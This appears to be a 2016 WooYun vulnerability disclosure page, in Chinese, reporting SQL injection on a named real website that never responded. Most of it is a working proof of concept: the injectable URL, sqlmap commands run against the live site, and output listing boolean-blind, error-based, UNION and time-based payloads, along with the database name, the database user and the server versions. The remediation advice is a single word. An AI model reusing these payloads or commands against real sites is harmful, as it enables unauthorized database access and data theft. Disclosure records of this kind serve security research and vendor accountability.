当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0187954

漏洞标题:长城小站存在SQL注入

相关厂商:www.thegreatwall.com.cn

漏洞作者: Xenon

提交时间:2016-03-23 11:02

修复时间:2016-05-07 11:02

公开时间:2016-05-07 11:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

风铃安全团队

漏洞证明:

注入点:http://www.thegreatwall.com.cn/zhuanti/victory60/showcontent.php?id=41475


1.png


[root@Hacker~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show
content.php?id=41475" -D lik37b1_db --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:12:02
[23:12:02] [INFO] resuming back-end DBMS 'mysql'
[23:12:02] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a
,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246
5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO
---
[23:12:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0
[23:12:03] [INFO] fetching tables for database: 'lik37b1_db'
[23:12:03] [INFO] fetching number of tables for database 'lik37b1_db'
[23:12:03] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:12:03] [INFO] retrieved: 0
[23:12:05] [WARNING] unable to retrieve the number of tables for database 'lik37
b1_db'
[23:12:05] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
No tables found
[23:12:06] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[23:12:06] [INFO] fetched data logged to text files under 'F:\Y??~1\tools\????\S
QLMAP~2\Bin\output\www.thegreatwall.com.cn'
[*] shutting down at 23:12:06
[root@Hacker~]# Sqlmap -u "http://www.thegreatwall.com.cn/zhuanti/victory60/show
content.php?id=41475" --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:13:22
[23:13:22] [INFO] resuming back-end DBMS 'mysql'
[23:13:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=41475' AND 9727=9727 AND 'eLgQ'='eLgQ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=41475' AND (SELECT 8301 FROM(SELECT COUNT(*),CONCAT(0x3a776c783a
,(SELECT (CASE WHEN (8301=8301) THEN 1 ELSE 0 END)),0x3a776b623a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ipNx'='ipNx
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: id=41475' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a776c783a,0x6e6c587766767246
5555,0x3a776b623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=41475' AND SLEEP(5) AND 'xFTO'='xFTO
---
[23:13:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0
[23:13:23] [INFO] fetching database users
[23:13:24] [INFO] the SQL query used returns 1 entries
[23:13:24] [INFO] retrieved: "'luk37b1'@'localhost'"
database management system users [1]:
[*] 'luk37b1'@'localhost'
[23:13:25] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[23:13:25] [INFO] fetched data logged to text files under 'F:\Y??~1\tools\????\S
QLMAP~2\Bin\output\www.thegreatwall.com.cn'

修复方案:

过滤

版权声明:转载请注明来源 Xenon@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评价